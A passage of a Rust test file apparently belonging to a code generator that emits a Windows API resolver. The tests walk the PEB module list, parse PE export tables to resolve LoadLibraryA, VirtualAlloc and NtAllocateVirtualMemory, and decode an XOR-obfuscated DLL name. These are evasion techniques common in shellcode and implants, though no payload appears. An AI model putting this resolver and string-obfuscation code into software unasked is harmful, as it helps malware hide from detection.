std::arch::asm!( 930 "mov {}, dword ptr fs:[0x30]", 931 out(reg) peb, 932 options(nostack) 933 ); 934 #[cfg(not(target_env = "msvc"))] 935 std::arch::asm!( 936 "mov {}, fs:[0x30]", 937 out(reg) peb, 938 options(nostack) 939 ); 940 } 941 peb 942 } 943 944 pub unsafe fn get_module_base_impl( 945 target_dll: &str, 946 log_prefix: &str, 947 ) -> *mut winapi::ctypes::c_void { 948 let peb = get_peb_impl(); 949 println!("{}PEB pointer: {:p}", log_prefix, peb); 950 951 // Validate PEB pointer before dereferencing 952 if peb.is_null() { 953 println!("{}PEB is null!", log_prefix); 954 return ptr::null_mut(); 955 } 956 957 let ldr = (*peb).Ldr; 958 println!("{}LDR pointer: {:p}", log_prefix, ldr); 959 960 // Validate LDR pointer before dereferencing 961 if ldr.is_null() { 962 println!("{}LDR is null!", log_prefix); 963 return ptr::null_mut(); 964 } 965 966 let head = &mut (*ldr).InMemoryOrderModuleList as *mut LIST_ENTRY; 967 let mut curr = (*head).Flink; 968 println!( 969 "{}Starting PEB walk, looking for: {}", 970 log_prefix, target_dll 971 ); 972 973 let mut count = 0; 974 while curr != head { 975 let entry = (curr as *mut u8).sub(0x10) as *mut LDR_DATA_TABLE_ENTRY; 976 977 // Log each DLL we encounter 978 if !entry.is_null() && !(*entry).BaseDllName.Buffer.is_null() { 979 let len = (*entry).BaseDllName.Length as usize / 2; 980 let name_slice = std::slice::from_raw_parts((*entry).BaseDllName.Buffer, len); 981 let dll_name: String = std::char::decode_utf16(name_slice.iter().cloned()) 982 .map(|r| r.unwrap_or('?')) 983 .collect(); 984 println!( 985 "{} [{}] Found DLL: {} (len={}, base: {:p})", 986 log_prefix, 987 count, 988 dll_name, 989 len, 990 (*entry).DllBase 991 ); 992 993 // Show detailed comparison with target 994 let target_w: Vec<u16> = target_dll.encode_utf16().collect(); 995 println!( 996 "{} Comparing with target: {} (len={})", 997 log_prefix, 998 target_dll, 999 target_w.len() 1000 ); 1001 println!( 1002 "{} name_slice u16 values: {:?}", 1003 log_prefix, 1004 &name_slice[..std::cmp::min(20, name_slice.len())] 1005 ); 1006 println!( 1007 "{} target_w u16 values: {:?}", 1008 log_prefix, 1009 &target_w[..std::cmp::min(20, target_w.len())] 1010 ); 1011 1012 if is_dll_match_impl(entry, target_dll) { 1013 println!("{} Match found!", log_prefix); 1014 return (*entry).DllBase; 1015 } 1016 } 1017 1018 curr = (*curr).Flink; 1019 count += 1; 1020 if count > 1000 { 1021 println!("{}Safety limit reached - breaking", log_prefix); 1022 break; 1023 } 1024 } 1025 1026 println!( 1027 "{}DLL not found after walking {} entries", 1028 log_prefix, count 1029 ); 1030 ptr::null_mut() 1031 } 1032 } 1033 1034 // Windows-specific integration test that actually executes the PEB walk 1035 #[test] 1036 #[cfg(target_os = "windows")] 1037 #[allow(clippy::too_many_lines)] 1038 fn test_resolve_kernel32_integrity() { 1039 use std::ffi::CString; 1040 1041 #[link(name = "kernel32")] 1042 extern "system" { 1043 fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void; 1044 } 1045 1046 unsafe { 1047 let target = "kernel32.dll"; 1048 1049 // Get the expected address using Windows API 1050 let c_str = CString::new(target).unwrap(); 1051 let expected = GetModuleHandleA(c_str.as_ptr() as *const u8); 1052 assert!( 1053 !expected.is_null(), 1054 "Critical: Windows API failed to handle kernel32" 1055 ); 1056 1057 // Get the actual address using our PEB walk implementation 1058 let actual = test_helpers::get_module_base_impl(target, ""); 1059 1060 // Verify that the PEB walk returned a non-null address 1061 assert!( 1062 !actual.is_null(), 1063 "PEB walk failed to find kernel32.dll - returned null" 1064 ); 1065 1066 // Verify that both methods return the same address 1067 assert_eq!( 1068 actual, expected, 1069 "PEB walk returned {:p} but GetModuleHandleA returned {:p}", 1070 actual, expected 1071 ); 1072 1073 // Also test with ntdll.dll for additional validation 1074 let target_ntdll = "ntdll.dll"; 1075 let c_str_ntdll = CString::new(target_ntdll).unwrap(); 1076 let expected_ntdll = GetModuleHandleA(c_str_ntdll.as_ptr() as *const u8); 1077 let actual_ntdll = test_helpers::get_module_base_impl(target_ntdll, ""); 1078 1079 assert!(!actual_ntdll.is_null(), "PEB walk failed to find ntdll.dll"); 1080 assert_eq!( 1081 actual_ntdll, expected_ntdll, 1082 "PEB walk for ntdll.dll returned {:p} but GetModuleHandleA returned {:p}", 1083 actual_ntdll, expected_ntdll 1084 ); 1085 1086 // Validate that the generated template code is correct 1087 let generated_code = generate_api_resolver(); 1088 assert!( 1089 generated_code.contains("get_module_base"), 1090 "Generated code should include get_module_base function" 1091 ); 1092 assert!( 1093 generated_code.contains("gs:[0x60]"), 1094 "Generated code should read PEB from GS register" 1095 ); 1096 assert!( 1097 generated_code.contains("InMemoryOrderModuleList"), 1098 "Generated code should walk module list" 1099 ); 1100 } 1101 } 1102 1103 // Test with encrypted/obfuscated DLL name 1104 #[test] 1105 #[cfg(target_os = "windows")] 1106 fn test_resolve_with_encrypted_dll_name() { 1107 use std::ffi::CString; 1108 1109 // Simple XOR encryption key 1110 const XOR_KEY: u8 = 0x55; 1111 1112 // Compile-time encryption function 1113 const fn encrypt_str(input: &[u8]) -> [u8; 13] { 1114 let mut result = [0u8; 13]; 1115 let mut i = 0; 1116 while i < 13 { 1117 result[i] = input[i] ^ XOR_KEY; 1118 i += 1; 1119 } 1120 result 1121 } 1122 1123 // Decrypt function 1124 fn decrypt_str(encrypted: &[u8]) -> String { 1125 let decrypted: Vec<u8> = encrypted.iter().map(|&b| b ^ XOR_KEY).collect(); 1126 String::from_utf8(decrypted).expect("Invalid UTF-8") 1127 } 1128 1129 // Encrypted "kernel32.dll" at compile time 1130 const ENCRYPTED_DLL: [u8; 13] = encrypt_str(b"kernel32.dll\0"); 1131 1132 #[link(name = "kernel32")] 1133 extern "system" { 1134 fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void; 1135 } 1136 1137 unsafe { 1138 // Step 1: Decrypt the DLL name at runtime 1139 let decrypted_dll_name = decrypt_str(&ENCRYPTED_DLL); 1140 let target = decrypted_dll_name.trim_end_matches('\0'); 1141 1142 // Step 2: Get expected address using Windows API 1143 let c_str = CString::new(target).unwrap(); 1144 let expected = GetModuleHandleA(c_str.as_ptr() as *const u8); 1145 assert!( 1146 !expected.is_null(), 1147 "Windows API failed to find kernel32.dll" 1148 ); 1149 1150 // Step 3: Get actual address using our PEB walk with decrypted name 1151 let actual = test_helpers::get_module_base_impl(target, "[Encrypted test] "); 1152 1153 // Step 4: Verify PEB walk succeeded 1154 assert!( 1155 !actual.is_null(), 1156 "PEB walk failed to find kernel32.dll using decrypted name" 1157 ); 1158 1159 // Step 5: Verify both methods return the same address 1160 assert_eq!( 1161 actual, expected, 1162 "PEB walk with decrypted DLL name returned {:p} but GetModuleHandleA returned {:p}", 1163 actual, expected 1164 ); 1165 1166 println!( 1167 "Successfully resolved kernel32.dll using encrypted string: {:p}", 1168 actual 1169 ); 1170 } 1171 } 1172 1173 // Windows integration test for export parsing 1174 #[test] 1175 #[cfg(target_os = "windows")] 1176 fn test_resolve_function_address_from_exports() { 1177 use std::ffi::CString; 1178 1179 #[link(name = "kernel32")] 1180 extern "system" { 1181 fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void; 1182 fn GetProcAddress( 1183 hModule: *mut winapi::ctypes::c_void, 1184 lpProcName: *const u8, 1185 ) -> *mut winapi::ctypes::c_void; 1186 } 1187 1188 // Define PE structures needed for our implementation 1189 #[repr(C)] 1190 #[allow(non_snake_case)] 1191 struct IMAGE_DOS_HEADER { 1192 e_magic: u16, 1193 e_cblp: u16, 1194 e_cp: u16, 1195 e_crlc: u16, 1196 e_cparhdr: u16, 1197 e_minalloc: u16, 1198 e_maxalloc: u16, 1199 e_ss: u16, 1200 e_sp: u16, 1201 e_csum: u16, 1202 e_ip: u16, 1203 e_cs: u16, 1204 e_lfarlc: u16, 1205 e_ovno: u16, 1206 e_res: [u16; 4], 1207 e_oemid: u16, 1208 e_oeminfo: u16, 1209 e_res2: [u16; 10], 1210 e_lfanew: i32, 1211 } 1212 1213 #[repr(C)] 1214 #[allow(non_snake_case)] 1215 struct IMAGE_FILE_HEADER { 1216 Machine: u16, 1217 NumberOfSections: u16, 1218 TimeDateStamp: u32, 1219 PointerToSymbolTable: u32, 1220 NumberOfSymbols: u32, 1221 SizeOfOptionalHeader: u16, 1222 Characteristics: u16, 1223 } 1224 1225 #[repr(C)] 1226 #[allow(non_snake_case)] 1227 struct IMAGE_DATA_DIRECTORY { 1228 VirtualAddress: u32, 1229 Size: u32, 1230 } 1231 1232 #[repr(C)] 1233 #[allow(non_snake_case)] 1234 struct IMAGE_OPTIONAL_HEADER64 { 1235 Magic: u16, 1236 MajorLinkerVersion: u8, 1237 MinorLinkerVersion: u8, 1238 SizeOfCode: u32, 1239 SizeOfInitializedData: u32, 1240 SizeOfUninitializedData: u32, 1241 AddressOfEntryPoint: u32, 1242 BaseOfCode: u32, 1243 ImageBase: u64, 1244 SectionAlignment: u32, 1245 FileAlignment: u32, 1246 MajorOperatingSystemVersion: u16, 1247 MinorOperatingSystemVersion: u16, 1248 MajorImageVersion: u16, 1249 MinorImageVersion: u16, 1250 MajorSubsystemVersion: u16, 1251 MinorSubsystemVersion: u16, 1252 Win32VersionValue: u32, 1253 SizeOfImage: u32, 1254 SizeOfHeaders: u32, 1255 CheckSum: u32, 1256 Subsystem: u16, 1257 DllCharacteristics: u16, 1258 SizeOfStackReserve: u64, 1259 SizeOfStackCommit: u64, 1260 SizeOfHeapReserve: u64, 1261 SizeOfHeapCommit: u64, 1262 LoaderFlags: u32, 1263 NumberOfRvaAndSizes: u32, 1264 DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 1265 } 1266 1267 #[repr(C)] 1268 #[allow(non_snake_case)] 1269 struct IMAGE_NT_HEADERS64 { 1270 Signature: u32, 1271 FileHeader: IMAGE_FILE_HEADER, 1272 OptionalHeader: IMAGE_OPTIONAL_HEADER64, 1273 } 1274 1275 #[repr(C)] 1276 #[allow(non_snake_case)] 1277 struct IMAGE_EXPORT_DIRECTORY { 1278 Characteristics: u32, 1279 TimeDateStamp: u32, 1280 MajorVersion: u16, 1281 MinorVersion: u16, 1282 Name: u32, 1283 Base: u32, 1284 NumberOfFunctions: u32, 1285 NumberOfNames: u32, 1286 AddressOfFunctions: u32, 1287 AddressOfNames: u32, 1288 AddressOfNameOrdinals: u32, 1289 } 1290 1291 unsafe fn get_function_address_impl( 1292 module_base: *mut winapi::ctypes::c_void, 1293 function_name: &str, 1294 ) -> *mut winapi::ctypes::c_void { 1295 use std::ptr; 1296 1297 println!( 1298 "[Export Test] Starting function resolution for: {}", 1299 function_name 1300 ); 1301 println!("[Export Test] Module base: {:p}", module_base); 1302 1303 if module_base.is_null() { 1304 println!("[Export Test] ERROR: Module base is null!"); 1305 return ptr::null_mut(); 1306 } 1307 1308 let dos_header = module_base as *const IMAGE_DOS_HEADER; 1309 let dos_magic = (*dos_header).e_magic; 1310 println!( 1311 "[Export Test] DOS header magic: 0x{:04X} (expected 0x5A4D)", 1312 dos_magic 1313 ); 1314 1315 if dos_magic != 0x5A4D { 1316 println!("[Export Test] ERROR: Invalid DOS magic signature!"); 1317 return ptr::null_mut(); 1318 } 1319 1320 let e_lfanew = (*dos_header).e_lfanew; 1321 println!("[Export Test] e_lfanew offset: 0x{:X}", e_lfanew); 1322 1323 let nt_headers = 1324 (module_base as *const u8).offset(e_lfanew as isize) as *const IMAGE_NT_HEADERS64; 1325 let nt_signature = (*nt_headers).Signature; 1326 println!( 1327 "[Export Test] NT headers signature: 0x{:08X} (expected 0x4550)", 1328 nt_signature 1329 ); 1330 1331 if nt_signature != 0x4550 { 1332 println!("[Export Test] ERROR: Invalid PE signature!"); 1333 return ptr::null_mut(); 1334 } 1335 1336 let export_dir_rva = (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress; 1337 let export_dir_size = (*nt_headers).OptionalHeader.DataDirectory[0].Size; 1338 println!( 1339 "[Export Test] Export directory RVA: 0x{:X}, Size: 0x{:X}", 1340 export_dir_rva, export_dir_size 1341 ); 1342 1343 if export_dir_rva == 0 { 1344 println!("[Export Test] ERROR: No export directory found!"); 1345 return ptr::null_mut(); 1346 } 1347 1348 let export_dir = (module_base as *const u8).offset(export_dir_rva as isize) 1349 as *const IMAGE_EXPORT_DIRECTORY; 1350 1351 let num_functions = (*export_dir).NumberOfFunctions; 1352 let num_names = (*export_dir).NumberOfNames; 1353 println!( 1354 "[Export Test] Export directory: {} functions, {} names", 1355 num_functions, num_names 1356 ); 1357 1358 let addr_of_names = (module_base as *const u8) 1359 .offset((*export_dir).AddressOfNames as isize) 1360 as *const u32; 1361 let addr_of_functions = (module_base as *const u8) 1362 .offset((*export_dir).AddressOfFunctions as isize) 1363 as *const u32; 1364 let addr_of_name_ordinals = (module_base as *const u8) 1365 .offset((*export_dir).AddressOfNameOrdinals as isize) 1366 as *const u16; 1367 1368 println!( 1369 "[Export Test] Searching through {} exported names...", 1370 num_names 1371 ); 1372 1373 let target_bytes = function_name.as_bytes(); 1374 1375 for i in 0..num_names { 1376 let name_rva = *addr_of_names.offset(i as isize); 1377 let name_ptr = (module_base as *const u8).offset(name_rva as isize); 1378 1379 // Build the exported function name for logging 1380 let mut export_name = Vec::new(); 1381 let mut j = 0; 1382 loop { 1383 let byte = *name_ptr.offset(j); 1384 if byte == 0 { 1385 break; 1386 } 1387 export_name.push(byte); 1388 j += 1; 1389 if j > 256 { 1390 break; // Safety limit 1391 } 1392 } 1393 let export_name_str = String::from_utf8_lossy(&export_name); 1394 1395 // Compare null-terminated string 1396 let mut match_found = true; 1397 let mut j = 0; 1398 while j < target_bytes.len() { 1399 if *name_ptr.offset(j as isize) != target_bytes[j] { 1400 match_found = false; 1401 break; 1402 } 1403 j += 1; 1404 } 1405 1406 // Check for null terminator after the name 1407 if match_found && *name_ptr.offset(j as isize) == 0 { 1408 let ordinal = *addr_of_name_ordinals.offset(i as isize); 1409 let func_rva = *addr_of_functions.offset(ordinal as isize); 1410 let func_addr = (module_base as *const u8).offset(func_rva as isize) 1411 as *mut winapi::ctypes::c_void; 1412 1413 println!( 1414 "[Export Test] MATCH FOUND at index {}: {} (ordinal: {}, RVA: 0x{:X}, address: {:p})", 1415 i, export_name_str, ordinal, func_rva, func_addr 1416 ); 1417 return func_addr; 1418 } 1419 1420 // Log first few exports for debugging 1421 if i < 5 { 1422 println!("[Export Test] [{}] {}", i, export_name_str); 1423 } 1424 } 1425 1426 println!( 1427 "[Export Test] ERROR: Function '{}' not found in exports!", 1428 function_name 1429 ); 1430 ptr::null_mut() 1431 } 1432 1433 unsafe { 1434 println!("\n=== Starting Export Parsing Integration Test ===\n"); 1435 1436 // Test 1: Resolve kernel32.dll base address 1437 let target_dll = "kernel32.dll"; 1438 println!("[Test 1] Resolving module base for {}", target_dll); 1439 1440 let c_str_dll = CString::new(target_dll).unwrap(); 1441 let kernel32_base = GetModuleHandleA(c_str_dll.as_ptr() as *const u8); 1442 1443 assert!( 1444 !kernel32_base.is_null(), 1445 "Failed to get kernel32.dll base address" 1446 ); 1447 println!("[Test 1] kernel32.dll base: {:p}\n", kernel32_base); 1448 1449 // Test 2: Resolve LoadLibraryA function 1450 let function_name = "LoadLibraryA"; 1451 println!("[Test 2] Resolving function: {}", function_name); 1452 1453 let c_str_func = CString::new(function_name).unwrap(); 1454 let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8); 1455 1456 assert!( 1457 !expected_addr.is_null(), 1458 "GetProcAddress failed to find LoadLibraryA" 1459 ); 1460 println!( 1461 "[Test 2] Expected address (GetProcAddress): {:p}", 1462 expected_addr 1463 ); 1464 1465 let actual_addr = get_function_address_impl(kernel32_base, function_name); 1466 1467 assert!( 1468 !actual_addr.is_null(), 1469 "Export parsing failed to find LoadLibraryA - returned null" 1470 ); 1471 println!( 1472 "[Test 2] Actual address (our implementation): {:p}", 1473 actual_addr 1474 ); 1475 1476 assert_eq!( 1477 actual_addr, expected_addr, 1478 "Export parsing returned {:p} but GetProcAddress returned {:p}", 1479 actual_addr, expected_addr 1480 ); 1481 println!("[Test 2] ✓ LoadLibraryA addresses match!\n"); 1482 1483 // Test 3: Resolve GetProcAddress function (meta!) 1484 let function_name = "GetProcAddress"; 1485 println!("[Test 3] Resolving function: {}", function_name); 1486 1487 let c_str_func = CString::new(function_name).unwrap(); 1488 let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8); 1489 1490 assert!( 1491 !expected_addr.is_null(), 1492 "GetProcAddress failed to find itself" 1493 ); 1494 println!( 1495 "[Test 3] Expected address (GetProcAddress): {:p}", 1496 expected_addr 1497 ); 1498 1499 let actual_addr = get_function_address_impl(kernel32_base, function_name); 1500 1501 assert!( 1502 !actual_addr.is_null(), 1503 "Export parsing failed to find GetProcAddress" 1504 ); 1505 println!( 1506 "[Test 3] Actual address (our implementation): {:p}", 1507 actual_addr 1508 ); 1509 1510 assert_eq!( 1511 actual_addr, expected_addr, 1512 "Export parsing for GetProcAddress returned {:p} but expected {:p}", 1513 actual_addr, expected_addr 1514 ); 1515 println!("[Test 3] ✓ GetProcAddress addresses match!\n"); 1516 1517 // Test 4: Resolve VirtualAlloc function 1518 let function_name = "VirtualAlloc"; 1519 println!("[Test 4] Resolving function: {}", function_name); 1520 1521 let c_str_func = CString::new(function_name).unwrap(); 1522 let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8); 1523 1524 assert!( 1525 !expected_addr.is_null(), 1526 "GetProcAddress failed to find VirtualAlloc" 1527 ); 1528 println!( 1529 "[Test 4] Expected address (GetProcAddress): {:p}", 1530 expected_addr 1531 ); 1532 1533 let actual_addr = get_function_address_impl(kernel32_base, function_name); 1534 1535 assert!( 1536 !actual_addr.is_null(), 1537 "Export parsing failed to find VirtualAlloc" 1538 ); 1539 println!( 1540 "[Test 4] Actual address (our implementation): {:p}", 1541 actual_addr 1542 ); 1543 1544 assert_eq!( 1545 actual_addr, expected_addr, 1546 "Export parsing for VirtualAlloc returned {:p} but expected {:p}", 1547 actual_addr, expected_addr 1548 ); 1549 println!("[Test 4] ✓ VirtualAlloc addresses match!\n"); 1550 1551 // Test 5: Test with ntdll.dll and NtAllocateVirtualMemory 1552 let target_dll = "ntdll.dll"; 1553 println!("[Test 5] Resolving module base for {}", target_dll); 1554 1555 let c_str_dll = CString::new(target_dll).unwrap(); 1556 let ntdll_base = GetModuleHandleA(c_str_dll.as_ptr() as *const u8); 1557 1558 assert!( 1559 !ntdll_base.is_null(), 1560 "Failed to get ntdll.dll base address" 1561 ); 1562 println!("[Test 5] ntdll.dll base: {:p}", ntdll_base); 1563 1564 let function_name = "NtAllocateVirtualMemory"; 1565 println!("[Test 5] Resolving function: {}", function_name); 1566 1567 let c_str_func = CString::new(function_name).unwrap(); 1568 let expected_addr = GetProcAddress(ntdll_base, c_str_func.as_ptr() as *const u8); 1569 1570 assert!( 1571 !expected_addr.is_null(), 1572 "GetProcAddress failed to find NtAllocateVirtualMemory" 1573 ); 1574 println!( 1575 "[Test 5] Expected address (GetProcAddress): {:p}", 1576 expected_addr 1577 ); 1578 1579 let actual_addr = get_function_address_impl(ntdll_base, function_name); 1580 1581 assert!( 1582 !actual_addr.is_null(), 1583 "Export parsing failed to find NtAllocateVirtualMemory" 1584 ); 1585 println!( 1586 "[Test 5] Actual address (our implementation): {:p}", 1587 actual_addr 1588 ); 1589 1590 assert_eq!( 1591 actual_addr, expected_addr, 1592 "Export parsing for NtAllocateVirtualMemory returned {:p} but expected {:p}", 1593 actual_addr, expected_addr 1594 ); 1595 println!("[Test 5] ✓ NtAllocateVirtualMemory addresses match!\n"); 1596 1597 // Test 6: Test non-existent function (should return null) 1598 let function_name = "NonExistentFunction12345"; 1599 println!("[Test 6] Testing non-existent function: {}", function_name); 1600 1601 let actual_addr = get_function_address_impl(kernel32_base, function_name); 1602 1603 assert!( 1604 actual_addr.is_null(), 1605 "Export parsing should return null for non-existent function" 1606 ); 1607 println!("[Test 6] ✓ Correctly returned null for non-existent function\n"); 1608 1609 // Validate that generated template code is correct 1610 println!("[Validation] Checking generated template code..."); 1611 let generated_code = generate_api_resolver(); 1612 assert!( 1613 generated_code.contains("IMAGE_EXPORT_DIRECTORY"), 1614 "Generated code should include IMAGE_EXPORT_DIRECTORY" 1615 ); 1616 assert!( 1617 generated_code.contains("get_function_address"), 1618 "Generated code should include get_function_address function" 1619 ); 1620 assert!( 1621 generated_code.contains("NumberOfNames"), 1622 "Generated code should parse NumberOfNames" 1623 ); 1624 assert!( 1625 generated_code.contains("AddressOfFunctions"), 1626 "Generated code should use AddressOfFunctions" 1627 ); 1628 println!("[Validation] ✓ Generated code contains all required components\n"); 1629 1630 println!("=== All Export Parsing Tests Passed! ===\n"); 1631 } 1632 } 1633 1634 #[test] 1635 #[cfg(target_os = "windows")] 1636 fn test_unicode_case_folding_dll_names() { 1637 use std::ffi::CString; 1638 1639 #[link(name = "kernel32")] 1640 extern "system" { 1641 fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void; 1642 } 1643 1644 unsafe { 1645 println!("\n=== Testing Unicode Case Folding for DLL Names ===\n"); 1646 1647 let variations = vec![ 1648 "kernel32.dll", 1649 "KERNEL32.DLL", 1650 "Kernel32.dll", 1651 "KeRnEl32.DlL", 1652 ]; 1653 1654 let c_str = CString::new("kernel32.dll").unwrap(); 1655 let expected = GetModuleHandleA(c_str.as_ptr() as *const u8); 1656 assert!(!expected.is_null(), "Failed to get kernel32.dll handle"); 1657 1658 println!( 1659 "[Unicode Test] Expected kernel32.dll address: {:p}\n", 1660 expected 1661 ); 1662 1663 for (idx, variant) in variations.iter().enumerate() { 1664 println!("[Unicode Test {}] Testing variant: {}", idx + 1, variant); 1665 let actual = 1666 test_helpers::get_module_base_impl(variant, &format!("[Variant {}] ", idx + 1)); 1667 1668 assert!( 1669 !actual.is_null(), 1670 "Failed to resolve {} using case-insensitive matching", 1671 variant 1672 ); 1673 1674 assert_eq!( 1675 actual, expected, 1676 "Case-insensitive matching for {} returned {:p} but expected {:p}", 1677 variant, actual, expected 1678 ); 1679 1680 println!( 1681 "[Unicode Test {}] ✓ Successfully resolved {} to {:p}\n", 1682 idx + 1, 1683 variant, 1684 actual 1685 ); 1686 } 1687 1688 println!("=== All Unicode Case Folding Tests Passed! ===\n"); 1689 } 1690 } 1691 1692 #[test] 1693 #[cfg(target_os = "windows")] 1694 fn test_forwarded_exports_resolution() { 1695 use std::ffi::CString; 1696 1697 #[link(name = "kernel32")] 1698 extern "system" { 1699 fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void; 1700 fn GetProcAddress( 1701 hModule: *mut winapi::ctypes::c_void, 1702 lpProcName: *const u8, 1703 ) -> *mut winapi::ctypes::c_void; 1704 } 1705 1706 #[repr(C)] 1707 #[allow(non_snake_case)] 1708 struct IMAGE_DOS_HEADER { 1709 e_magic: u16, 1710 e_cblp: u16, 1711 e_cp: u16, 1712 e_crlc: u16, 1713 e_cparhdr: u16, 1714 e_minalloc: u16, 1715 e_maxalloc: u16, 1716 e_ss: u16, 1717 e_sp: u16, 1718 e_csum: u16, 1719 e_ip: u16, 1720 e_cs: u16, 1721 e_lfarlc: u16, 1722 e_ovno: u16, 1723 e_res: [u16; 4], 1724 e_oemid: u16, 1725 e_oeminfo: u16, 1726 e_res2: [u16; 10], 1727 e_lfanew: i32, 1728 } 1729 1730 #[repr(C)] 1731 #[allow(non_snake_case)] 1732 struct IMAGE_FILE_HEADER { 1733 Machine: u16, 1734 NumberOfSections: u16, 1735 TimeDateStamp: u32, 1736 PointerToSymbolTable: u32, 1737 NumberOfSymbols: u32, 1738 SizeOfOptionalHeader: u16, 1739 Characteristics: u16, 1740 } 1741 1742 #[repr(C)] 1743 #[allow(non_snake_case)] 1744 struct IMAGE_DATA_DIRECTORY { 1745 VirtualAddress: u32, 1746 Size: u32, 1747 } 1748 1749 #[repr(C)] 1750 #[allow(non_snake_case)] 1751 struct IMAGE_OPTIONAL_HEADER64 { 1752 Magic: u16, 1753 MajorLinkerVersion: u8, 1754 MinorLinkerVersion: u8, 1755 SizeOfCode: u32, 1756 SizeOfInitializedData: u32, 1757 SizeOfUninitializedData: u32, 1758 AddressOfEntryPoint: u32, 1759 BaseOfCode: u32, 1760 ImageBase: u64, 1761 SectionAlignment: u32, 1762 FileAlignment: u32, 1763 MajorOperatingSystemVersion: u16, 1764 MinorOperatingSystemVersion: u16, 1765 MajorImageVersion: u16, 1766 MinorImageVersion: u16, 1767 MajorSubsystemVersion: u16, 1768 MinorSubsystemVersion: u16, 1769 Win32VersionValue: u32, 1770 SizeOfImage: u32, 1771 SizeOfHeaders: u32, 1772 CheckSum: u32, 1773 Subsystem: u16, 1774 DllCharacteristics: u16, 1775 SizeOfStackReserve: u64, 1776 SizeOfStackCommit: u64, 1777 SizeOfHeapReserve: u64, 1778 SizeOfHeapCommit: u64, 1779 LoaderFlags: u32, 1780 NumberOfRvaAndSizes: u32, 1781 DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 1782 } 1783 1784 #[repr(C)] 1785 #[allow(non_snake_case)] 1786 struct IMAGE_NT_HEADERS64 { 1787 Signature: u32, 1788 FileHeader: IMAGE_FILE_HEADER, 1789 OptionalHeader: IMAGE_OPTIONAL_HEADER64, 1790 } 1791 1792 #[repr(C)] 1793 #[allow(non_snake_case)] 1794 struct IMAGE_EXPORT_DIRECTORY { 1795 Characteristics: u32, 1796 TimeDateStamp: u32, 1797 MajorVersion: u16, 1798 MinorVersion: u16, 1799 Name: u32, 1800 Base: u32, 1801 NumberOfFunctions: u32, 1802 NumberOfNames: u32, 1803 AddressOfFunctions: u32, 1804 AddressOfNames: u32, 1805 AddressOfNameOrdinals: u32, 1806 } 1807 1808 unsafe fn check_if_forwarded( 1809 module_base: *mut winapi::ctypes::c_void, 1810 function_name: &str, 1811 ) -> (bool, Option<String>) { 1812 if module_base.is_null() { 1813 return (false, None); 1814 } 1815 1816 let dos_header = module_base as *const IMAGE_DOS_HEADER; 1817 if (*dos_header).e_magic != 0x5A4D { 1818 return (false, None); 1819 } 1820 1821 let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) 1822 as *const IMAGE_NT_HEADERS64; 1823 if (*nt_headers).Signature != 0x4550 { 1824 return (false, None); 1825 } 1826 1827 let export_dir_rva = (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress; 1828 let export_dir_size = (*nt_headers).OptionalHeader.DataDirectory[0].Size; 1829 if export_dir_rva == 0 { 1830 return (false, None); 1831 } 1832 1833 let export_dir = (module_base as *const u8).offset(export_dir_rva as isize) 1834 as *const IMAGE_EXPORT_DIRECTORY; 1835 1836 let num_names = (*export_dir).NumberOfNames; 1837 let addr_of_names = (module_base as *const u8) 1838 .offset((*export_dir).AddressOfNames as isize) 1839 as *const u32; 1840 let addr_of_functions = (module_base as *const u8) 1841 .offset((*export_dir).AddressOfFunctions as isize) 1842 as *const u32; 1843 let addr_of_name_ordinals = (module_base as *const u8) 1844 .offset((*export_dir).AddressOfNameOrdinals as isize) 1845 as *const u16; 1846 1847 let target_bytes = function_name.as_bytes(); 1848 1849 for i in 0..num_names { 1850 let name_rva = *addr_of_names.offset(i as isize); 1851 let name_ptr = (module_base as *const u8).offset(name_rva as isize); 1852 1853 let mut match_found = true; 1854 let mut j = 0; 1855 while j < target_bytes.len() { 1856 if *name_ptr.offset(j as isize) != target_bytes[j] { 1857 match_found = false; 1858 break; 1859 } 1860 j += 1; 1861 } 1862 1863 if match_found && *name_ptr.offset(j as isize) == 0 { 1864 let ordinal = *addr_of_name_ordinals.offset(i as isize); 1865 let func_rva = *addr_of_functions.offset(ordinal as isize); 1866 1867 if func_rva >= export_dir_rva && func_rva < export_dir_rva + export_dir_size { 1868 let forward_str_ptr = (module_base as *const u8).offset(func_rva as isize); 1869 let mut forward_str = Vec::new(); 1870 let mut k = 0; 1871 loop { 1872 let byte = *forward_str_ptr.offset(k); 1873 if byte == 0 { 1874 break; 1875 } 1876 forward_str.push(byte); 1877 k += 1; 1878 if k > 256 { 1879 break; 1880 } 1881 } 1882 if let Ok(fwd_string) = std::str::from_utf8(&forward_str) { 1883 return (true, Some(fwd_string.to_string())); 1884 } 1885 } 1886 return (false, None); 1887 } 1888 } 1889 1890 (false, None) 1891 } 1892 1893 unsafe { 1894 println!("\n=== Testing Forwarded Exports Resolution ===\n"); 1895 1896 let kernel32_dll = CString::new("kernel32.dll").unwrap(); 1897 let kernel32_base = GetModuleHandleA(kernel32_dll.as_ptr() as *const u8); 1898 assert!(!kernel32_base.is_null(), "Failed to get kernel32.dll"); 1899 1900 println!("[Forwarded Test] kernel32.dll base: {:p}\n", kernel32_base); 1901 1902 let test_functions = vec![ 1903 ("HeapAlloc", false), 1904 ("LoadLibraryA", false), 1905 ("GetProcAddress", false), 1906 ]; 1907 1908 for (func_name, _should_be_forwarded) in test_functions { 1909 println!("[Forwarded Test] Checking function: {}", func_name); 1910 1911 let (is_forwarded, forward_target) = check_if_forwarded(kernel32_base, func_name); 1912 1913 if is_forwarded { 1914 if let Some(target) = forward_target { 1915 println!( 1916 "[Forwarded Test] {} is FORWARDED to: {}", 1917 func_name, target 1918 ); 1919 } 1920 } else { 1921 println!("[Forwarded Test] {} is NOT forwarded", func_name); 1922 } 1923 1924 let c_func_name = CString::new(func_name).unwrap(); 1925 let expected_addr = 1926 GetProcAddress(kernel32_base, c_func_name.as_ptr() as *const u8); 1927 1928 assert!( 1929 !expected_addr.is_null(), 1930 "GetProcAddress failed to find 